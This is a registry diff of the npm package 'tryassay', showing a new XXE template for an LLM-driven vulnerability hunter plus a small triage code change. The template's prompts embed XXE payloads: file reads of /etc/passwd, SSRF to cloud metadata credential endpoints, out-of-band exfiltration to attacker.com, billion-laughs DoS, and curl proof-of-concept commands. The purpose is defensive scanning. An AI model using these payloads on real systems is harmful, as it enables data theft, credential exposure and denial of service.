tryassay 0.33.0 → 0.33.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +2 -0
- package/dist/cli.js.map +1 -1
- package/dist/commands/hunt.d.ts +2 -0
- package/dist/commands/hunt.js +58 -7
- package/dist/commands/hunt.js.map +1 -1
- package/dist/hunt/__tests__/finding-to-template.test.d.ts +1 -0
- package/dist/hunt/__tests__/finding-to-template.test.js +213 -0
- package/dist/hunt/__tests__/finding-to-template.test.js.map +1 -0
- package/dist/hunt/__tests__/parse-utils.test.js +28 -1
- package/dist/hunt/__tests__/parse-utils.test.js.map +1 -1
- package/dist/hunt/__tests__/taint-analysis.test.d.ts +1 -0
- package/dist/hunt/__tests__/taint-analysis.test.js +556 -0
- package/dist/hunt/__tests__/taint-analysis.test.js.map +1 -0
- package/dist/hunt/__tests__/templates.test.js +2 -2
- package/dist/hunt/__tests__/templates.test.js.map +1 -1
- package/dist/hunt/deep-dive.d.ts +2 -2
- package/dist/hunt/deep-dive.js +4 -4
- package/dist/hunt/deep-dive.js.map +1 -1
- package/dist/hunt/discovery.js +2 -2
- package/dist/hunt/discovery.js.map +1 -1
- package/dist/hunt/finding-to-template.d.ts +47 -0
- package/dist/hunt/finding-to-template.js +288 -0
- package/dist/hunt/finding-to-template.js.map +1 -0
- package/dist/hunt/orchestrator.d.ts +3 -0
- package/dist/hunt/orchestrator.js +20 -5
- package/dist/hunt/orchestrator.js.map +1 -1
- package/dist/hunt/parse-utils.d.ts +6 -0
- package/dist/hunt/parse-utils.js +28 -1
- package/dist/hunt/parse-utils.js.map +1 -1
- package/dist/hunt/taint-analysis.d.ts +49 -0
- package/dist/hunt/taint-analysis.js +429 -0
- package/dist/hunt/taint-analysis.js.map +1 -0
- package/dist/hunt/templates/csv-injection.d.ts +2 -0
- package/dist/hunt/templates/csv-injection.js +148 -0
- package/dist/hunt/templates/csv-injection.js.map +1 -0
- package/dist/hunt/templates/django-misconfig.d.ts +2 -0
- package/dist/hunt/templates/django-misconfig.js +172 -0
- package/dist/hunt/templates/django-misconfig.js.map +1 -0
- package/dist/hunt/templates/express-misconfig.d.ts +2 -0
- package/dist/hunt/templates/express-misconfig.js +156 -0
- package/dist/hunt/templates/express-misconfig.js.map +1 -0
- package/dist/hunt/templates/file-upload.d.ts +2 -0
- package/dist/hunt/templates/file-upload.js +131 -0
- package/dist/hunt/templates/file-upload.js.map +1 -0
- package/dist/hunt/templates/graphql-abuse.d.ts +2 -0
- package/dist/hunt/templates/graphql-abuse.js +161 -0
- package/dist/hunt/templates/graphql-abuse.js.map +1 -0
- package/dist/hunt/templates/hardcoded-credentials.d.ts +2 -0
- package/dist/hunt/templates/hardcoded-credentials.js +109 -0
- package/dist/hunt/templates/hardcoded-credentials.js.map +1 -0
- package/dist/hunt/templates/idor.d.ts +2 -0
- package/dist/hunt/templates/idor.js +102 -0
- package/dist/hunt/templates/idor.js.map +1 -0
- package/dist/hunt/templates/index.d.ts +2 -2
- package/dist/hunt/templates/index.js +38 -5
- package/dist/hunt/templates/index.js.map +1 -1
- package/dist/hunt/templates/insecure-deserialization.d.ts +2 -0
- package/dist/hunt/templates/insecure-deserialization.js +131 -0
- package/dist/hunt/templates/insecure-deserialization.js.map +1 -0
- package/dist/hunt/templates/mass-assignment.d.ts +2 -0
- package/dist/hunt/templates/mass-assignment.js +101 -0
- package/dist/hunt/templates/mass-assignment.js.map +1 -0
- package/dist/hunt/templates/nextjs-misconfig.d.ts +2 -0
- package/dist/hunt/templates/nextjs-misconfig.js +127 -0
- package/dist/hunt/templates/nextjs-misconfig.js.map +1 -0
- package/dist/hunt/templates/postmessage.d.ts +2 -0
- package/dist/hunt/templates/postmessage.js +180 -0
- package/dist/hunt/templates/postmessage.js.map +1 -0
- package/dist/hunt/templates/race-condition.d.ts +2 -0
- package/dist/hunt/templates/race-condition.js +138 -0
- package/dist/hunt/templates/race-condition.js.map +1 -0
- package/dist/hunt/templates/spring-misconfig.d.ts +2 -0
- package/dist/hunt/templates/spring-misconfig.js +177 -0
- package/dist/hunt/templates/spring-misconfig.js.map +1 -0
- package/dist/hunt/templates/xxe.d.ts +2 -0
- package/dist/hunt/templates/xxe.js +187 -0
- package/dist/hunt/templates/xxe.js.map +1 -0
- package/dist/hunt/triage.d.ts +2 -2
- package/dist/hunt/triage.js +4 -4
- package/dist/hunt/triage.js.map +1 -1
- package/package.json +1 -1
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
export const xxe = {
|
|
2
|
+
id: 'xxe',
|
|
3
|
+
name: 'XML External Entity Injection',
|
|
4
|
+
cwe: 'CWE-611',
|
|
5
|
+
filePatterns: ['xml', 'parse', 'document', 'sax', 'dom', 'soap', 'svg', 'xslt', 'xpath', 'rss', 'feed', 'sitemap'],
|
|
6
|
+
negativePatterns: [],
|
|
7
|
+
triagePrompt: `You are a security researcher hunting for XML External Entity (XXE) injection vulnerabilities.
|
|
8
|
+
|
|
9
|
+
Analyze the code for XML parsers that process untrusted input without disabling external entity resolution. Focus on:
|
|
10
|
+
|
|
11
|
+
1. Parser configuration — are external entities and DTD processing disabled?
|
|
12
|
+
2. User input reaching XML parser — does the application parse user-uploaded XML, SOAP requests, SVG files, RSS feeds, or SAML assertions?
|
|
13
|
+
3. Library defaults — many XML libraries enable external entities BY DEFAULT
|
|
14
|
+
|
|
15
|
+
LANGUAGE-SPECIFIC DANGEROUS DEFAULTS:
|
|
16
|
+
Python:
|
|
17
|
+
- xml.etree.ElementTree: SAFE by default (no external entity support)
|
|
18
|
+
- lxml.etree.parse(): VULNERABLE by default (resolves external entities)
|
|
19
|
+
Fix: parser = etree.XMLParser(resolve_entities=False, no_network=True)
|
|
20
|
+
- xml.sax: VULNERABLE by default
|
|
21
|
+
Fix: parser.setFeature(xml.sax.handler.feature_external_ges, False)
|
|
22
|
+
|
|
23
|
+
Java:
|
|
24
|
+
- DocumentBuilderFactory: VULNERABLE by default
|
|
25
|
+
Fix: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
|
|
26
|
+
- SAXParserFactory: VULNERABLE by default
|
|
27
|
+
- XMLInputFactory (StAX): VULNERABLE by default
|
|
28
|
+
Fix: factory.setProperty(XMLInputFactory.SUPPORT_DTD, false)
|
|
29
|
+
- Unmarshaller (JAXB): depends on underlying parser
|
|
30
|
+
|
|
31
|
+
JavaScript/Node.js:
|
|
32
|
+
- libxmljs: VULNERABLE by default (noent option)
|
|
33
|
+
Fix: libxmljs.parseXmlString(xml, { noent: false, nonet: true })
|
|
34
|
+
- xml2js: SAFE by default (doesn't process entities)
|
|
35
|
+
- fast-xml-parser: SAFE by default
|
|
36
|
+
- DOMParser (browser): SAFE (browsers block external entities)
|
|
37
|
+
|
|
38
|
+
PHP:
|
|
39
|
+
- simplexml_load_string(): VULNERABLE if libxml < 2.9 (entities enabled by default)
|
|
40
|
+
Fix: libxml_disable_entity_loader(true) (deprecated in PHP 8.0+)
|
|
41
|
+
- DOMDocument::loadXML(): VULNERABLE with LIBXML_NOENT flag
|
|
42
|
+
Fix: $doc->loadXML($xml, LIBXML_NOENT should NOT be used)
|
|
43
|
+
|
|
44
|
+
.NET:
|
|
45
|
+
- XmlDocument.Load(): VULNERABLE in older .NET (XmlResolver enabled)
|
|
46
|
+
Fix: doc.XmlResolver = null
|
|
47
|
+
- XmlReader: SAFE by default in .NET 4.5.2+
|
|
48
|
+
|
|
49
|
+
ATTACK PAYLOADS:
|
|
50
|
+
File read:
|
|
51
|
+
\`\`\`xml
|
|
52
|
+
<?xml version="1.0"?>
|
|
53
|
+
<!DOCTYPE foo [
|
|
54
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
55
|
+
]>
|
|
56
|
+
<data>&xxe;</data>
|
|
57
|
+
\`\`\`
|
|
58
|
+
|
|
59
|
+
SSRF:
|
|
60
|
+
\`\`\`xml
|
|
61
|
+
<!DOCTYPE foo [
|
|
62
|
+
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
|
|
63
|
+
]>
|
|
64
|
+
<data>&xxe;</data>
|
|
65
|
+
\`\`\`
|
|
66
|
+
|
|
67
|
+
Blind XXE (out-of-band):
|
|
68
|
+
\`\`\`xml
|
|
69
|
+
<!DOCTYPE foo [
|
|
70
|
+
<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
|
|
71
|
+
%ext;
|
|
72
|
+
]>
|
|
73
|
+
\`\`\`
|
|
74
|
+
|
|
75
|
+
Billion laughs (DoS):
|
|
76
|
+
\`\`\`xml
|
|
77
|
+
<!DOCTYPE lolz [
|
|
78
|
+
<!ENTITY lol "lol">
|
|
79
|
+
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
|
80
|
+
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
|
81
|
+
]>
|
|
82
|
+
<data>&lol3;</data>
|
|
83
|
+
\`\`\`
|
|
84
|
+
|
|
85
|
+
ENTRY POINTS TO CHECK:
|
|
86
|
+
- File upload accepting XML, SVG, DOCX, XLSX (all are XML-based)
|
|
87
|
+
- SOAP web service endpoints
|
|
88
|
+
- SAML SSO response parsing
|
|
89
|
+
- RSS/Atom feed importers
|
|
90
|
+
- Sitemap parsers
|
|
91
|
+
- Configuration file upload
|
|
92
|
+
|
|
93
|
+
RELEVANT SPECIFICATIONS:
|
|
94
|
+
- CWE-611: Improper Restriction of XML External Entity Reference
|
|
95
|
+
- OWASP Top 10 2021 A05: Security Misconfiguration
|
|
96
|
+
- XML 1.0 Specification Section 4.2.2: External Entities
|
|
97
|
+
|
|
98
|
+
For each finding, cite the EXACT parser instantiation, whether external entities are disabled, and what user input reaches the parser.`,
|
|
99
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an XXE vulnerability.
|
|
100
|
+
|
|
101
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
102
|
+
|
|
103
|
+
VERIFICATION STEPS:
|
|
104
|
+
1. Confirm the XML parser is configured to resolve external entities
|
|
105
|
+
- Check parser options/features at instantiation time
|
|
106
|
+
- Check library version (some fixed defaults in newer versions)
|
|
107
|
+
2. Confirm user-controlled input reaches the parser
|
|
108
|
+
- File upload? API body? SOAP request? SVG processing?
|
|
109
|
+
3. Determine if the response reflects entity content (direct XXE) or if blind/OOB is needed
|
|
110
|
+
4. Check what the server process can access
|
|
111
|
+
- File system permissions of the application user
|
|
112
|
+
- Network access (can it reach internal services/metadata endpoints?)
|
|
113
|
+
|
|
114
|
+
ATTACK SCENARIOS:
|
|
115
|
+
1. Direct XXE with file read:
|
|
116
|
+
- Inject <!ENTITY xxe SYSTEM "file:///etc/passwd"> → entity content reflected in response
|
|
117
|
+
- Escalate: read application config files, database credentials, private keys
|
|
118
|
+
|
|
119
|
+
2. Blind XXE with out-of-band exfiltration:
|
|
120
|
+
- No reflection in response? Use parameter entities to send data to attacker server
|
|
121
|
+
- \`<!ENTITY % file SYSTEM "file:///etc/passwd">\`
|
|
122
|
+
- \`<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">\`
|
|
123
|
+
|
|
124
|
+
3. SSRF via XXE:
|
|
125
|
+
- <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
|
|
126
|
+
- Port scan internal network: <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
|
|
127
|
+
|
|
128
|
+
4. Denial of Service:
|
|
129
|
+
- Billion laughs: exponential entity expansion
|
|
130
|
+
- External entity pointing to /dev/urandom or infinite stream
|
|
131
|
+
|
|
132
|
+
PROOF-OF-CONCEPT:
|
|
133
|
+
\`\`\`bash
|
|
134
|
+
# Direct XXE file read
|
|
135
|
+
curl -X POST /api/xml-import \\
|
|
136
|
+
-H "Content-Type: application/xml" \\
|
|
137
|
+
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><data>&xxe;</data></root>'
|
|
138
|
+
|
|
139
|
+
# XXE via SVG upload
|
|
140
|
+
cat > xxe.svg << 'EOF'
|
|
141
|
+
<?xml version="1.0"?>
|
|
142
|
+
<!DOCTYPE svg [
|
|
143
|
+
<!ENTITY xxe SYSTEM "file:///etc/hostname">
|
|
144
|
+
]>
|
|
145
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
|
146
|
+
<text>&xxe;</text>
|
|
147
|
+
</svg>
|
|
148
|
+
EOF
|
|
149
|
+
curl -X POST /api/upload -F "file=@xxe.svg;type=image/svg+xml"
|
|
150
|
+
|
|
151
|
+
# XXE via DOCX (Office Open XML)
|
|
152
|
+
# Replace [Content_Types].xml or document.xml inside the ZIP with XXE payload
|
|
153
|
+
\`\`\`
|
|
154
|
+
|
|
155
|
+
SEVERITY ASSESSMENT:
|
|
156
|
+
- Critical: File read of sensitive data (credentials, private keys, application config)
|
|
157
|
+
- Critical: SSRF to cloud metadata endpoint yielding IAM credentials
|
|
158
|
+
- High: Blind XXE with confirmed out-of-band data exfiltration
|
|
159
|
+
- High: SSRF to internal services
|
|
160
|
+
- Medium: DoS via entity expansion
|
|
161
|
+
- Medium: Confirmed XXE but limited to non-sensitive files
|
|
162
|
+
- Low: XXE in non-production/internal-only endpoint
|
|
163
|
+
|
|
164
|
+
RELEVANT SPECIFICATIONS:
|
|
165
|
+
- CWE-611: Improper Restriction of XML External Entity Reference
|
|
166
|
+
- XML 1.0 Spec Section 4.2.2: External Entities
|
|
167
|
+
- OWASP XXE Prevention Cheat Sheet
|
|
168
|
+
|
|
169
|
+
Cite exact file paths, line numbers, the parser configuration, and the input vector.`,
|
|
170
|
+
knownBypasses: [
|
|
171
|
+
'SVG file upload: SVGs are XML and can contain external entity declarations',
|
|
172
|
+
'DOCX/XLSX upload: Office files are ZIP archives containing XML that may be parsed',
|
|
173
|
+
'Parameter entities for blind/OOB exfiltration when direct reflection is blocked',
|
|
174
|
+
'UTF-7/UTF-16 encoding to bypass WAF XML inspection rules',
|
|
175
|
+
'XInclude injection when DOCTYPE is blocked: <xi:include href="file:///etc/passwd"/>',
|
|
176
|
+
'SOAP body injection: XXE in SOAP XML request body',
|
|
177
|
+
'Billion laughs variant: quadratic blowup with large entities instead of exponential',
|
|
178
|
+
],
|
|
179
|
+
specReferences: [
|
|
180
|
+
'CWE-611 (Improper Restriction of XML External Entity Reference)',
|
|
181
|
+
'OWASP Top 10 2021 A05 (Security Misconfiguration)',
|
|
182
|
+
'XML 1.0 Specification Section 4.2.2 (External Entities)',
|
|
183
|
+
'OWASP XXE Prevention Cheat Sheet',
|
|
184
|
+
],
|
|
185
|
+
severityRange: ['medium', 'critical'],
|
|
186
|
+
};
|
|
187
|
+
//# sourceMappingURL=xxe.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"xxe.js","sourceRoot":"","sources":["../../../src/hunt/templates/xxe.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,GAAG,GAA0B;IACxC,EAAE,EAAE,KAAK;IACT,IAAI,EAAE,+BAA+B;IACrC,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,KAAK,EAAE,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,KAAK,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,OAAO,EAAE,KAAK,EAAE,MAAM,EAAE,SAAS,CAAC;IAClH,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;uIA2FuH;IAErI,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;qFAsEmE;IAEnF,aAAa,EAAE;QACb,4EAA4E;QAC5E,mFAAmF;QACnF,iFAAiF;QACjF,0DAA0D;QAC1D,qFAAqF;QACrF,mDAAmD;QACnD,qFAAqF;KACtF;IACD,cAAc,EAAE;QACd,iEAAiE;QACjE,mDAAmD;QACnD,yDAAyD;QACzD,kCAAkC;KACnC;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}
|
package/dist/hunt/triage.d.ts
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
import type { VulnerabilityTemplate, HuntHypothesis } from '../types.js';
|
|
2
2
|
import type { DiscoveredFile } from './discovery.js';
|
|
3
3
|
import type { LLMProvider } from '../runtime/types.js';
|
|
4
|
-
export declare function buildTriagePrompt(template: VulnerabilityTemplate, file: DiscoveredFile): {
|
|
4
|
+
export declare function buildTriagePrompt(template: VulnerabilityTemplate, file: DiscoveredFile, taintContext?: string): {
|
|
5
5
|
systemPrompt: string;
|
|
6
6
|
userPrompt: string;
|
|
7
7
|
};
|
|
8
|
-
export declare function runTriage(file: DiscoveredFile, template: VulnerabilityTemplate, hypothesisId: number, provider: LLMProvider): Promise<HuntHypothesis | null>;
|
|
8
|
+
export declare function runTriage(file: DiscoveredFile, template: VulnerabilityTemplate, hypothesisId: number, provider: LLMProvider, taintContext?: string): Promise<HuntHypothesis | null>;
|
package/dist/hunt/triage.js
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { safeParseJSON } from './parse-utils.js';
|
|
2
|
-
export function buildTriagePrompt(template, file) {
|
|
2
|
+
export function buildTriagePrompt(template, file, taintContext) {
|
|
3
3
|
const systemPrompt = `You are a security researcher analyzing code for exploitable vulnerabilities.
|
|
4
4
|
|
|
5
5
|
VULNERABILITY CLASS: ${template.name}
|
|
@@ -37,11 +37,11 @@ ${context ? `CONTEXT:\n${context}\n` : ''}
|
|
|
37
37
|
${file.content}
|
|
38
38
|
</analyzed-code>
|
|
39
39
|
|
|
40
|
-
Is there a plausible ${template.name} vulnerability in this code
|
|
40
|
+
Is there a plausible ${template.name} vulnerability in this code?${taintContext ? `\n\nCROSS-FILE DATA FLOW:\n${taintContext}` : ''}`;
|
|
41
41
|
return { systemPrompt, userPrompt };
|
|
42
42
|
}
|
|
43
|
-
export async function runTriage(file, template, hypothesisId, provider) {
|
|
44
|
-
const { systemPrompt, userPrompt } = buildTriagePrompt(template, file);
|
|
43
|
+
export async function runTriage(file, template, hypothesisId, provider, taintContext) {
|
|
44
|
+
const { systemPrompt, userPrompt } = buildTriagePrompt(template, file, taintContext);
|
|
45
45
|
try {
|
|
46
46
|
const response = await provider.complete({
|
|
47
47
|
model: 'claude-haiku-4-5-20251001',
|
package/dist/hunt/triage.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"triage.js","sourceRoot":"","sources":["../../src/hunt/triage.ts"],"names":[],"mappings":"AAGA,OAAO,EAAmB,aAAa,EAAE,MAAM,kBAAkB,CAAC;AAElE,MAAM,UAAU,iBAAiB,CAC/B,QAA+B,EAC/B,IAAoB;
|
|
1
|
+
{"version":3,"file":"triage.js","sourceRoot":"","sources":["../../src/hunt/triage.ts"],"names":[],"mappings":"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"}
|